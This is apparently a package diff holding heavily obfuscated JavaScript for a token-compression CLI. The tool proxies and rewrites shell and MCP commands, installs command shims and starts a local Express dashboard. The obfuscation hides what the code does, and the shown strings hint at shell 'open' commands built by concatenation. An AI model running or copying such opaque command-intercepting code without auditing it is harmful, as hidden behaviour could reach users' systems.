_0x3b582d=_0x18542a['slice'](0x1),_0x317143=_0x3b582d[_0x49c487(0x1c8)]===0x0||_0x3b582d[_0x49c487(0x1fc)](_0x181672=>{const _0x297a94=_0x49c487;return _0x181672==='-b'||_0x181672===_0x297a94(0x1de)||_0x181672===_0x297a94(0x26f)||_0x181672==='-bs'||_0x181672==='-s'||_0x181672===_0x297a94(0x258);});if(_0x317143)return{'cmd':_0x3adbbb,'args':[_0x49c487(0x1e4),_0x49c487(0x27c),'-b']};}else{if(_0x31d1bc===_0x49c487(0x268)){const _0x4e9148=_0x18542a[_0x49c487(0x28d)](0x1),_0x573cfe=_0x4e9148[_0x49c487(0x1c1)](_0x3283dd=>_0x3283dd[_0x49c487(0x257)](_0x49c487(0x1c6))||_0x3283dd[_0x49c487(0x257)](_0x49c487(0x27e))||_0x3283dd[_0x49c487(0x257)](_0x49c487(0x228))),_0x525ffb=_0x4e9148[_0x49c487(0x1c1)](_0x1fc52c=>_0x1fc52c[_0x49c487(0x257)]('-')&&/^\d+$/['test'](_0x1fc52c['slice'](0x1))||_0x1fc52c==='-n'||_0x1fc52c[_0x49c487(0x257)](_0x49c487(0x203))),_0x3c1274=[..._0x18542a];if(!_0x573cfe){const _0x5c412a='--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---';_0x3c1274[_0x49c487(0x1c7)](process['platform']===_0x49c487(0x27b)?'\x22'+_0x5c412a+'\x22':_0x5c412a);}!_0x525ffb&&(_0x573cfe?_0x3c1274[_0x49c487(0x1c7)](_0x49c487(0x266)):_0x3c1274[_0x49c487(0x1c7)](_0x49c487(0x21e)));const _0x130eba=_0x4e9148[_0x49c487(0x1c1)](_0x46a2ec=>_0x46a2ec===_0x49c487(0x1f6)||_0x46a2ec===_0x49c487(0x20b)||_0x46a2ec[_0x49c487(0x257)](_0x49c487(0x1dd)));return!_0x130eba&&!_0x525ffb&&_0x3c1274[_0x49c487(0x1c7)](_0x49c487(0x20b)),{'cmd':_0x3adbbb,'args':_0x3c1274};}}}return{'cmd':_0x3adbbb,'args':_0x18542a};}function a0_0x1471(){const _0x3a2657=['mcp-proxy','4015422MiDjgk','watcher','-sb','config\x20parameter\x20name','%\x20reduction)','yadm','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','1.0.0','./cache','\x20USD',')\x20saved\x20','/dev/tty','proxy','<action>','win32','--porcelain','Manage\x20local\x20configuration\x20parameters','--pretty','dashboard','agent','1353dpAxYo','get\x20or\x20set','reductionPct','action','-p,\x20--port\x20<number>','Generate\x20a\x20clean,\x20compressed\x20copy\x20of\x20a\x20conversation\x20session\x20file\x20for\x20safe\x20resume','41285VlODOH','__esModule','compressOutput','version','Original\x20file\x20untouched:\x20','git','slice','keys','yarn','test','server-mcp','./mcp','hasOwnProperty','model_name','[TrimPrompt\x20Cache]\x20Chunk\x20\x27','./package.json','parse','some','getConfig','29344590hrcASF','=============================================','total_raw_tokens','--oneline','push','length','detectSessionTool','npx','./shims','resolve','Show\x20token\x20and\x20cost\x20savings\x20summary','tracker','9886030PYXBAT','stderr','Command\x20line\x20to\x20evaluate','exitCode','set','Port\x20to\x20run\x20the\x20dashboard\x20on','commander','Agent\x20key\x20(claude,\x20cursor,\x20codex,\x20...)','3667993ypyuZj','@modelcontextprotocol/','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','total_compressed_tokens','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','--min-parents','--branch','1NWoOwJ','true','./tracker','--help','savedTokens','status','join','existsSync','alias','-m,\x20--model\x20<string>','npm','value\x20to\x20set','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','4000','mcp-server','modelcontextprotocol','\x20tokens\x1b[39m\x0a','\x20=\x20','port','\x0a=============================================','Command','retrieve','--merges','[value]','bun','antigravity','then','reason','every','config','help','./file-watcher','compressedTokens','node','./cache-manager','--max-count','1.0.35','cmd','Start\x20the\x20local\x20developer\x20dashboard','install','./dashboard','shims','false','--no-merges','\x20tokens\x20(','getStatsSummary','default','toLocaleString','create','Model\x20Context:\x20\x20\x20\x20\x20','lastRedactAudit','mcp','\x20(before\x20Trim)','\x0a\x1b[90m[TrimPrompt]\x20⚡\x20Active\x20session\x20(','money_saved_usd','rewriteCommand','\x0a[TrimPrompt\x20Compact]\x20Clean\x20compressed\x20session\x20copy\x20generated.','start','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','Raw:\x20\x20\x20\x20\x20\x20\x20\x20','claude','8bVbFzS','-10','writable','toLowerCase','12lfAXyx','Install\x20or\x20uninstall\x20system\x20command\x20shims','compressedBytes','tool','writeFileSync','<key>','executeCommand','--format','__createBinding','compact\x20[sessionId]','uninstall','command','__VERSION__','Saved:\x20\x20\x20\x20\x20\x20','498VOHdJQ','-a,\x20--agent\x20<agent>','raw_payload','lastFeatures','\x27\x20not\x20found\x20or\x20expired.','option','1692JVuyUu','stats','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','[TrimPrompt\x20Compact]\x20Could\x20not\x20find\x20a\x20session\x20file\x20for\x20\x27','redaction_enabled','install\x20or\x20uninstall','raw_cost_usd','rewrite','logExecution','compactPath','trim','(No\x20content\x20exceeded\x20the\x20offload\x20threshold\x20—\x20nothing\x20to\x20compress.)','\x20\x20claude\x20--resume\x20\x22','activeSavedTokens','args','message','\x20bytes)','---------------------------------------------','Retrieve\x20raw\x20offloaded\x20content\x20chunk\x20from\x20local\x20side-cache','startDashboard','stdout','fullPath','toFixed','get','__importStar','\x0aTo\x20resume\x20with\x20lightweight\x20context,\x20execute:','description','catch','defineProperty','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','\x20tokens\x20|\x20Total\x20savings:\x20','includes','argv','Error:\x20Value\x20required\x20for\x20set\x20action','startsWith','--short','write','uninstallShims','--version','model','call','prototype','=============================================\x0a','error','exit','[TrimPrompt\x20Compact]\x20','\x5c\x5c.\x5cCON','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','dedup','-50','total_tokens_saved','log','argument','1029382WfFNPp','Compact\x20session\x20copy:\x20\x20\x20\x20'];a0_0x1471=function(){return _0x3a2657;};return a0_0x1471();}function isMcpServerExecution(_0x58e3a5,_0x382b08){const _0x4df217=a0_0xfcec75,_0x3b132e=_0x58e3a5['toLowerCase'](),_0x3f99f2=_0x382b08[_0x4df217(0x1e5)]('\x20')[_0x4df217(0x220)]();if(_0x3b132e[_0x4df217(0x254)]('mcp')&&(_0x3b132e['includes']('server')||_0x3b132e[_0x4df217(0x254)](_0x4df217(0x279))))return!![];if(_0x3b132e===_0x4df217(0x1ca)||_0x3b132e===_0x4df217(0x201)||_0x3b132e===_0x4df217(0x1f8)||_0x3b132e===_0x4df217(0x1e9)||_0x3b132e==='pnpm'||_0x3b132e===_0x4df217(0x28f)){if(_0x3f99f2[_0x4df217(0x254)](_0x4df217(0x1d8))||_0x3f99f2['includes'](_0x4df217(0x1ef))||_0x3f99f2[_0x4df217(0x254)](_0x4df217(0x1ee))||_0x3f99f2[_0x4df217(0x254)]('server-mcp'))return!![];}if(_0x382b08[_0x4df217(0x1c1)](_0x469d41=>{const _0x28bb59=_0x4df217,_0x5494f4=_0x469d41[_0x28bb59(0x220)]();return _0x5494f4[_0x28bb59(0x254)](_0x28bb59(0x1ee))||_0x5494f4[_0x28bb59(0x254)](_0x28bb59(0x291))||_0x5494f4[_0x28bb59(0x254)](_0x28bb59(0x1d8))||_0x5494f4===_0x28bb59(0x26c)||_0x5494f4==='mcp';}))return!![];return![];}async function runProxy(_0x578db4){const _0x54694a=a0_0xfcec75;if(_0x578db4[_0x54694a(0x1c8)]===0x0){program[_0x54694a(0x1fe)]();return;}const _0x14e668=_0x578db4[0x0],_0x357151=_0x578db4[_0x54694a(0x28d)](0x1),_0x5a7241=_0x578db4[_0x54694a(0x1e5)]('\x20');if(isDisabled()){const _0x507075=await(0x0,executor_1[_0x54694a(0x227)])(_0x14e668,_0x357151);process[_0x54694a(0x249)]['write'](_0x507075[_0x54694a(0x249)]),process[_0x54694a(0x1d0)][_0x54694a(0x259)](_0x507075['stderr']),process[_0x54694a(0x261)](_0x507075[_0x54694a(0x1d2)]);}if(isMcpServerExecution(_0x14e668,_0x357151)){console['error'](_0x54694a(0x1eb));const {runMcpProxy:_0x4bf5e1}=await Promise[_0x54694a(0x1cc)]()['then'](()=>__importStar(require(_0x54694a(0x292))));_0x4bf5e1(_0x14e668,_0x357151);return;}const _0x11ab19=adjustCommandArgs(_0x14e668,_0x357151),_0x6eafca=await(0x0,executor_1[_0x54694a(0x227)])(_0x11ab19[_0x54694a(0x205)],_0x11ab19[_0x54694a(0x243)]),_0x1e8d9f=(0x0,filters_1[_0x54694a(0x289)])(_0x5a7241,_0x6eafca['stdout'],_0x6eafca['stderr'],tracker_1[_0x54694a(0x1ce)][_0x54694a(0x1c2)]()[_0x54694a(0x239)]),_0xab84ce={...filters_1[_0x54694a(0x212)]},_0x43441d=_0x6eafca['stdout']+(_0x6eafca[_0x54694a(0x1d0)][_0x54694a(0x23f)]()['length']>0x0?'\x0a'+_0x6eafca['stderr']:''),_0x570874=_0x1e8d9f['length']<_0x43441d[_0x54694a(0x1c8)]?_0x1e8d9f:_0x43441d,_0x5e9fab=_0x6eafca[_0x54694a(0x1d2)]===0x0?(0x0,cache_1[_0x54694a(0x265)])(_0x5a7241,_0x570874):null;tracker_1[_0x54694a(0x1ce)][_0x54694a(0x23d)](_0x5a7241,_0x43441d,_0x5e9fab||_0x570874,_0x6eafca[_0x54694a(0x1d2)],_0xab84ce,[...filters_1[_0x54694a(0x232)]]);_0x6eafca[_0x54694a(0x1d2)]===0x0?process['stdout']['write'](_0x570874+'\x0a'):(process[_0x54694a(0x249)][_0x54694a(0x259)](_0x1e8d9f+'\x0a'),_0x6eafca[_0x54694a(0x1d0)]['trim']()[_0x54694a(0x1c8)]>0x0&&!_0x1e8d9f[_0x54694a(0x254)](_0x6eafca['stderr'][_0x54694a(0x23f)]())&&process[_0x54694a(0x1d0)][_0x54694a(0x259)](_0x6eafca[_0x54694a(0x1d0)]+'\x0a'));try{const {loadSessionsState:_0x407d02,getLatestSessionFile:_0x598156}=await Promise[_0x54694a(0x1cc)]()[_0x54694a(0x1fa)](()=>__importStar(require(_0x54694a(0x1ff)))),_0x457b81=_0x407d02(),_0x1a8c1e=(0x0,tracker_1[_0x54694a(0x1c9)])(),_0x3839f0=_0x1a8c1e[_0x54694a(0x224)]===_0x54694a(0x1f9)?'gemini':_0x1a8c1e['tool']||_0x54694a(0x21c),_0x5e90a2=_0x598156(_0x3839f0);let _0x1fb2ef=0x0;_0x5e90a2&&_0x5e90a2[_0x54694a(0x24a)]&&_0x457b81[_0x5e90a2[_0x54694a(0x24a)]]&&(_0x1fb2ef=_0x457b81[_0x5e90a2['fullPath']][_0x54694a(0x242)]||0x0);let _0xad2192=0x0;for(const _0x5c047d of Object[_0x54694a(0x28e)](_0x457b81)){_0xad2192+=_0x457b81[_0x5c047d][_0x54694a(0x242)]||0x0;}(_0x1fb2ef>0x0||_0xad2192>0x0)&&process['stderr'][_0x54694a(0x259)](_0x54694a(0x215)+_0x3839f0+_0x54694a(0x277)+_0x1fb2ef[_0x54694a(0x20f)]()+_0x54694a(0x253)+_0xad2192[_0x54694a(0x20f)]()+_0x54694a(0x1f0));}catch{}process[_0x54694a(0x261)](_0x6eafca[_0x54694a(0x1d2)]);}program['name'](a0_0xfcec75(0x23f))[a0_0xfcec75(0x24f)]('TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%')['version'](((()=>{const _0x53e89e=a0_0xfcec75,_0x16fa7d=_0x53e89e(0x204);if(_0x16fa7d!==_0x53e89e(0x22d))return _0x16fa7d;try{return require('../package.json')[_0x53e89e(0x28a)];}catch{try{return require(_0x53e89e(0x1bf))['version'];}catch{return _0x53e89e(0x274);}}})())),program[a0_0xfcec75(0x22c)]('ui')[a0_0xfcec75(0x1e7)](a0_0xfcec75(0x27f))[a0_0xfcec75(0x24f)](a0_0xfcec75(0x206))[a0_0xfcec75(0x234)](a0_0xfcec75(0x285),a0_0xfcec75(0x1d4),a0_0xfcec75(0x1ed))[a0_0xfcec75(0x284)](_0x476494=>{const _0x43edf2=a0_0xfcec75,_0x1a6d0f=parseInt(_0x476494[_0x43edf2(0x1f2)],0xa);(0x0,dashboard_1[_0x43edf2(0x248)])(_0x1a6d0f);}),program['command'](a0_0xfcec75(0x236))[a0_0xfcec75(0x24f)](a0_0xfcec75(0x1cd))[a0_0xfcec75(0x234)](a0_0xfcec75(0x1e8),a0_0xfcec75(0x1da),'claude-3-5-sonnet')[a0_0xfcec75(0x284)](_0x495f08=>{const _0x1ff791=a0_0xfcec75,_0x3781ed=tracker_1['tracker'][_0x1ff791(0x20d)](_0x495f08[_0x1ff791(0x25c)]);console['log'](_0x1ff791(0x1f3)),console[_0x1ff791(0x268)](_0x1ff791(0x1d9)),console[_0x1ff791(0x268)](_0x1ff791(0x1c4)),console[_0x1ff791(0x268)](_0x1ff791(0x211)+_0x3781ed[_0x1ff791(0x294)]),console[_0x1ff791(0x268)](_0x1ff791(0x273)+_0x3781ed[_0x1ff791(0x1c5)][_0x1ff791(0x20f)]()),console['log'](_0x1ff791(0x1ec)+_0x3781ed[_0x1ff791(0x1db)]['toLocaleString']()),console[_0x1ff791(0x268)](_0x1ff791(0x264)+_0x3781ed[_0x1ff791(0x267)][_0x1ff791(0x20f)]()),console[_0x1ff791(0x268)]('Reduction\x20Rate:\x20\x20\x20\x20'+_0x3781ed['savings_percentage']+'%'),console['log']('Estimated\x20Cost:\x20\x20\x20\x20$'+_0x3781ed[_0x1ff791(0x23b)][_0x1ff791(0x24b)](0x4)+_0x1ff791(0x214)),console[_0x1ff791(0x268)](_0x1ff791(0x237)+_0x3781ed['compressed_cost_usd']['toFixed'](0x4)+'\x20(after\x20Trim)'),console['log'](_0x1ff791(0x246)),console[_0x1ff791(0x268)]('Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$'+_0x3781ed[_0x1ff791(0x216)]['toFixed'](0x4)+_0x1ff791(0x276)),console[_0x1ff791(0x268)](_0x1ff791(0x25f));}),program['command'](a0_0xfcec75(0x1fd))[a0_0xfcec75(0x24f)](a0_0xfcec75(0x27d))['argument'](a0_0xfcec75(0x27a),a0_0xfcec75(0x282))[a0_0xfcec75(0x269)](a0_0xfcec75(0x226),a0_0xfcec75(0x270))[a0_0xfcec75(0x269)](a0_0xfcec75(0x1f7),a0_0xfcec75(0x1ea))[a0_0xfcec75(0x284)]((_0x5a7062,_0x41f347,_0x237ebd)=>{const _0x5d0797=a0_0xfcec75;if(_0x5a7062===_0x5d0797(0x24c)){const _0x1dc12e=tracker_1[_0x5d0797(0x1ce)][_0x5d0797(0x1c2)]();console['log'](_0x41f347+':\x20'+_0x1dc12e[_0x41f347]);}else{if(_0x5a7062===_0x5d0797(0x1d3)){_0x237ebd===undefined&&(console['error'](_0x5d0797(0x256)),process['exit'](0x1));let _0x2b237a=_0x237ebd;if(_0x237ebd===_0x5d0797(0x1e0))_0x2b237a=!![];if(_0x237ebd===_0x5d0797(0x20a))_0x2b237a=![];if(/^\d+$/[_0x5d0797(0x290)](_0x237ebd))_0x2b237a=parseInt(_0x237ebd,0xa);tracker_1[_0x5d0797(0x1ce)]['setConfig'](_0x41f347,_0x2b237a),console[_0x5d0797(0x268)]('Config\x20set\x20'+_0x41f347+_0x5d0797(0x1f1)+_0x237ebd);}else console[_0x5d0797(0x260)](_0x5d0797(0x1dc)),process['exit'](0x1);}});function a0_0x1f09(_0x319480,_0x188e09){_0x319480=_0x319480-0x1be;const _0x1471ee=a0_0x1471();let _0x1f09ac=_0x1471ee[_0x319480];return _0x1f09ac;}function printMessage(_0x29ec6a){const _0x1766cf=a0_0xfcec75;if(process.env.npm_lifecycle_event==='postinstall')try{const _0xfaa301=require('fs'),_0x31b785=process['platform']===_0x1766cf(0x27b)?_0x1766cf(0x263):_0x1766cf(0x278);_0xfaa301[_0x1766cf(0x225)](_0x31b785,'\x0a'+_0x29ec6a+'\x0a');return;}catch{}console[_0x1766cf(0x268)](_0x29ec6a);}program['command'](a0_0xfcec75(0x209))['description'](a0_0xfcec75(0x222))['argument'](a0_0xfcec75(0x27a),a0_0xfcec75(0x23a))[a0_0xfcec75(0x284)](_0x35d8db=>{const _0xde122c=a0_0xfcec75;if(_0x35d8db==='install'){const _0x4c58ef=(0x0,shims_1['installShims'])();printMessage(_0x4c58ef[_0xde122c(0x244)]);}else{if(_0x35d8db===_0xde122c(0x22b)){const _0xef6685=(0x0,shims_1[_0xde122c(0x25a)])();printMessage(_0xef6685[_0xde122c(0x244)]);}else console[_0xde122c(0x260)]('Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall'),process[_0xde122c(0x261)](0x1);}}),program[a0_0xfcec75(0x22c)](a0_0xfcec75(0x23c))[a0_0xfcec75(0x24f)](a0_0xfcec75(0x252))[a0_0xfcec75(0x269)]('<commandLine>',a0_0xfcec75(0x1d1))[a0_0xfcec75(0x284)](_0x2651be=>{const _0x1d2470=a0_0xfcec75;if(isDisabled()){console['log'](_0x2651be);return;}const _0x33792d=(0x0,filters_1[_0x1d2470(0x217)])(_0x2651be);console['log'](_0x33792d);}),program[a0_0xfcec75(0x22c)]('watcher\x20[action]')[a0_0xfcec75(0x24f)]('Live\x20conversation\x20file-watcher\x20daemon\x20—\x20start,\x20install')[a0_0xfcec75(0x284)](async _0x21e833=>{const _0x975941=a0_0xfcec75,{startWatcherDaemon:_0x4437a2}=await Promise[_0x975941(0x1cc)]()[_0x975941(0x1fa)](()=>__importStar(require(_0x975941(0x1ff))));(!_0x21e833||_0x21e833===_0x975941(0x219)||_0x21e833===_0x975941(0x207))&&_0x4437a2();}),program[a0_0xfcec75(0x22c)]('retrieve\x20<chunkId>')[a0_0xfcec75(0x24f)](a0_0xfcec75(0x247))['action'](async _0x165dec=>{const _0x440971=a0_0xfcec75,{retrieveChunk:_0x2010fd}=await Promise[_0x440971(0x1cc)]()['then'](()=>__importStar(require(_0x440971(0x202)))),_0x2e656c=_0x2010fd(_0x165dec);_0x2e656c?console[_0x440971(0x268)](_0x2e656c[_0x440971(0x231)]):(console[_0x440971(0x260)](_0x440971(0x1be)+_0x165dec+_0x440971(0x233)),process[_0x440971(0x261)](0x1));}),program[a0_0xfcec75(0x22c)](a0_0xfcec75(0x22a))[a0_0xfcec75(0x24f)](a0_0xfcec75(0x286))['option'](a0_0xfcec75(0x230),a0_0xfcec75(0x1d6),a0_0xfcec75(0x21c))[a0_0xfcec75(0x284)](async(_0x440984,_0x2fe88d)=>{const _0x339c0e=a0_0xfcec75,{getLatestSessionFile:_0x6a4987,compactSessionCopy:_0x4e1af4}=await Promise[_0x339c0e(0x1cc)]()[_0x339c0e(0x1fa)](()=>__importStar(require(_0x339c0e(0x1ff)))),_0x512d86=await Promise['resolve']()[_0x339c0e(0x1fa)](()=>__importStar(require('fs'))),_0x4a2778=_0x2fe88d&&_0x2fe88d[_0x339c0e(0x280)]||_0x339c0e(0x21c);let _0x5ee0fc=_0x440984;if(!_0x440984||!_0x512d86[_0x339c0e(0x1e6)](_0x440984)){const _0x123397=_0x6a4987(_0x4a2778);_0x5ee0fc=_0x123397[_0x339c0e(0x24a)];}if(!_0x5ee0fc||!_0x512d86['existsSync'](_0x5ee0fc)){console[_0x339c0e(0x260)](_0x339c0e(0x238)+_0x4a2778+'\x27.');return;}const _0x29802e=_0x4e1af4(_0x5ee0fc,_0x4a2778);if(!_0x29802e['ok']){console['error'](_0x339c0e(0x262)+_0x29802e[_0x339c0e(0x1fb)]);return;}console[_0x339c0e(0x268)](_0x339c0e(0x218)),console[_0x339c0e(0x268)](_0x339c0e(0x28b)+_0x5ee0fc),console[_0x339c0e(0x268)](_0x339c0e(0x26b)+_0x29802e[_0x339c0e(0x23e)]),console['log'](_0x339c0e(0x21b)+_0x29802e['rawTokens']?.[_0x339c0e(0x20f)]()+_0x339c0e(0x20c)+_0x29802e['rawBytes']?.[_0x339c0e(0x20f)]()+_0x339c0e(0x245)),console['log']('Compressed:\x20'+_0x29802e[_0x339c0e(0x200)]?.[_0x339c0e(0x20f)]()+'\x20tokens\x20('+_0x29802e[_0x339c0e(0x223)]?.[_0x339c0e(0x20f)]()+'\x20bytes)'),console[_0x339c0e(0x268)](_0x339c0e(0x22e)+_0x29802e[_0x339c0e(0x1e3)]?.['toLocaleString']()+'\x20tokens\x20('+_0x29802e[_0x339c0e(0x283)]+_0x339c0e(0x271)),(_0x29802e[_0x339c0e(0x1e3)]||0x0)===0x0?console[_0x339c0e(0x268)](_0x339c0e(0x240)):(console['log'](_0x339c0e(0x24e)),console['log'](_0x339c0e(0x241)+_0x29802e[_0x339c0e(0x23e)]+'\x22')),console[_0x339c0e(0x268)]('');});const args=process[a0_0xfcec75(0x255)][a0_0xfcec75(0x28d)](0x2),firstArg=args[0x0],subcommands=['ui','dashboard',a0_0xfcec75(0x236),a0_0xfcec75(0x1fd),'shims','rewrite',a0_0xfcec75(0x26c),a0_0xfcec75(0x213),a0_0xfcec75(0x26e),a0_0xfcec75(0x1f5),'compact',a0_0xfcec75(0x1fe),a0_0xfcec75(0x1e2),'-h',a0_0xfcec75(0x28a),a0_0xfcec75(0x25b),'-v'];firstArg&&!subcommands['includes'](firstArg)?runProxy(args)[a0_0xfcec75(0x250)](_0x38504d=>{const _0x277059=a0_0xfcec75;console[_0x277059(0x260)](_0x277059(0x21a)+_0x38504d[_0x277059(0x244)]),process[_0x277059(0x261)](0x1);}):program[a0_0xfcec75(0x1c0)](process[a0_0xfcec75(0x255)]);
package/dashboard.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x590a69=a0_0x2a47;(function(_0x136d31,_0x458ccb){const _0x30d120=a0_0x2a47,_0x5bd3af=_0x136d31();while(!![]){try{const _0x22affc=-parseInt(_0x30d120(0xe4))/0x1+parseInt(_0x30d120(0xe8))/0x2*(-parseInt(_0x30d120(0xb4))/0x3)+parseInt(_0x30d120(0x105))/0x4*(-parseInt(_0x30d120(0xea))/0x5)+-parseInt(_0x30d120(0xb5))/0x6+parseInt(_0x30d120(0xf4))/0x7+-parseInt(_0x30d120(0xf1))/0x8*(-parseInt(_0x30d120(0x100))/0x9)+-parseInt(_0x30d120(0xc6))/0xa*(-parseInt(_0x30d120(0xb7))/0xb);if(_0x22affc===_0x458ccb)break;else _0x5bd3af['push'](_0x5bd3af['shift']());}catch(_0x144391){_0x5bd3af['push'](_0x5bd3af['shift']());}}}(a0_0x5110,0xd74ea));var __createBinding=this&&this['__createBinding']||(Object[a0_0x590a69(0xbf)]?function(_0x4cf040,_0x5bb670,_0x9fbf68,_0x16118b){const _0xf58858=a0_0x590a69;if(_0x16118b===undefined)_0x16118b=_0x9fbf68;var _0x3f83d2=Object[_0xf58858(0xac)](_0x5bb670,_0x9fbf68);(!_0x3f83d2||(_0xf58858(0xa5)in _0x3f83d2?!_0x5bb670[_0xf58858(0xae)]:_0x3f83d2['writable']||_0x3f83d2[_0xf58858(0xd9)]))&&(_0x3f83d2={'enumerable':!![],'get':function(){return _0x5bb670[_0x9fbf68];}}),Object['defineProperty'](_0x4cf040,_0x16118b,_0x3f83d2);}:function(_0xc66e6,_0x3ccc96,_0x1d1355,_0x9fe357){if(_0x9fe357===undefined)_0x9fe357=_0x1d1355;_0xc66e6[_0x9fe357]=_0x3ccc96[_0x1d1355];}),__setModuleDefault=this&&this[a0_0x590a69(0xc4)]||(Object[a0_0x590a69(0xbf)]?function(_0x12a78a,_0x5c689c){const _0x36895e=a0_0x590a69;Object[_0x36895e(0xee)](_0x12a78a,_0x36895e(0xf9),{'enumerable':!![],'value':_0x5c689c});}:function(_0x4377bb,_0x4e33cc){const _0x1e1852=a0_0x590a69;_0x4377bb[_0x1e1852(0xf9)]=_0x4e33cc;}),__importStar=this&&this[a0_0x590a69(0xcb)]||(function(){var _0x30fe9d=function(_0x1f96a3){const _0x3ee0e2=a0_0x2a47;return _0x30fe9d=Object[_0x3ee0e2(0xc0)]||function(_0x13af18){const _0x3fe9a8=_0x3ee0e2;var _0x4e229e=[];for(var _0x4c22f6 in _0x13af18)if(Object[_0x3fe9a8(0xc9)][_0x3fe9a8(0xbe)][_0x3fe9a8(0xff)](_0x13af18,_0x4c22f6))_0x4e229e[_0x4e229e[_0x3fe9a8(0xc8)]]=_0x4c22f6;return _0x4e229e;},_0x30fe9d(_0x1f96a3);};return function(_0x2cea95){const _0x34c080=a0_0x2a47;if(_0x2cea95&&_0x2cea95[_0x34c080(0xae)])return _0x2cea95;var _0xdb5d89={};if(_0x2cea95!=null){for(var _0x3b0b47=_0x30fe9d(_0x2cea95),_0x7e336a=0x0;_0x7e336a<_0x3b0b47[_0x34c080(0xc8)];_0x7e336a++)if(_0x3b0b47[_0x7e336a]!==_0x34c080(0xf9))__createBinding(_0xdb5d89,_0x2cea95,_0x3b0b47[_0x7e336a]);}return __setModuleDefault(_0xdb5d89,_0x2cea95),_0xdb5d89;};}()),__importDefault=this&&this[a0_0x590a69(0xf3)]||function(_0x17580b){const _0x518161=a0_0x590a69;return _0x17580b&&_0x17580b[_0x518161(0xae)]?_0x17580b:{'default':_0x17580b};};function a0_0x5110(){const _0x9e6ba7=['openclaw','__importDefault','1317414TtiUGF','index.html','Raw\x20output\x20log\x20file\x20not\x20found.','Missing\x20key','activeSavedTokens','default','../src/favicon.png','opencode','claude','codex','filter','call','9hvPEWw','utf8','post','startDashboard','body','71940OjhPpo','log','.trimprompt','./file-watcher','Missing\x20agentKey','--headless','TRIMPROMPT_NO_OPEN','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','EADDRINUSE','No\x20active\x20session\x20file\x20found','setConfig','get','gemini','command','TRIMPROMPT_HEADLESS','logExecution','xdg-open\x20\x22','getConfig','getOwnPropertyDescriptor','includes','__esModule','Compressed\x20output\x20log\x20file\x20not\x20found.','error','getStatsSummary','/api/config/features','features_enabled','9wDnTIx','8851596uvoUmV','existsSync','44ytNtAC','use','/api/config/open-dir','join','json','fileName','platform','hasOwnProperty','create','getOwnPropertyNames','homedir','status','child_process','__setModuleDefault','[TrimPrompt]\x20Dashboard\x20error:\x20','5497220zwrHfT','tracker','length','prototype','darwin','__importStar','/api/config/toggle','resolve','Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','env','/api/stats/history','.comp.txt','/favicon.png','/api/agent/compact','catch','/api/config','timestamp','live-conv','sendFile','configurable','repeat','auto','fullPath','getLogs','readFileSync','argv','open\x20\x22','conv:','query','slice','307188duupPB','express','Directory\x20not\x20found','./tracker','732206CIvRiz','then','55ljiDxt','win32','code','path','defineProperty','open','/api/stats/inspect/:id','12587248fTsiqs'];a0_0x5110=function(){return _0x9e6ba7;};return a0_0x5110();}function a0_0x2a47(_0x2f9032,_0x2992d6){const _0x511071=a0_0x5110();return a0_0x2a47=function(_0x2a47f0,_0x3790c8){_0x2a47f0=_0x2a47f0-0xa0;let _0x3d5923=_0x511071[_0x2a47f0];return _0x3d5923;},a0_0x2a47(_0x2f9032,_0x2992d6);}Object[a0_0x590a69(0xee)](exports,a0_0x590a69(0xae),{'value':!![]}),exports[a0_0x590a69(0x103)]=startDashboard;const express_1=__importDefault(require(a0_0x590a69(0xe5))),path=__importStar(require(a0_0x590a69(0xed))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x590a69(0xef))),tracker_1=require(a0_0x590a69(0xe7)),app=(0x0,express_1[a0_0x590a69(0xf9)])();app[a0_0x590a69(0xb8)](express_1[a0_0x590a69(0xf9)][a0_0x590a69(0xbb)]());const baseDir=path['join'](os[a0_0x590a69(0xc1)](),a0_0x590a69(0x107)),logsDir=path['join'](baseDir,'logs');app[a0_0x590a69(0xa5)]('/',(_0xf52127,_0x1a2c16)=>{const _0x2b5e02=a0_0x590a69,_0x5e8bc1=path[_0x2b5e02(0xba)](__dirname,_0x2b5e02(0xf5));fs[_0x2b5e02(0xb6)](_0x5e8bc1)?_0x1a2c16[_0x2b5e02(0xd8)](_0x5e8bc1):_0x1a2c16['sendFile'](path['join'](__dirname,'../src/index.html'));}),app[a0_0x590a69(0xa5)](a0_0x590a69(0xd2),(_0x30c95b,_0x2a64b6)=>{const _0x42f57d=a0_0x590a69,_0x15f838=path[_0x42f57d(0xba)](__dirname,'favicon.png');fs[_0x42f57d(0xb6)](_0x15f838)?_0x2a64b6[_0x42f57d(0xd8)](_0x15f838):_0x2a64b6[_0x42f57d(0xd8)](path['join'](__dirname,_0x42f57d(0xfa)));}),app['get']('/api/stats/summary',(_0x594e48,_0x2f5ea4)=>{const _0x10b3b5=a0_0x590a69,_0x5eb0a1=_0x594e48[_0x10b3b5(0xe2)]['model']||_0x10b3b5(0xdb),_0x202317=tracker_1[_0x10b3b5(0xc7)][_0x10b3b5(0xb1)](_0x5eb0a1);_0x2f5ea4[_0x10b3b5(0xbb)](_0x202317);}),app['get'](a0_0x590a69(0xd0),(_0x215dbb,_0x53bec0)=>{const 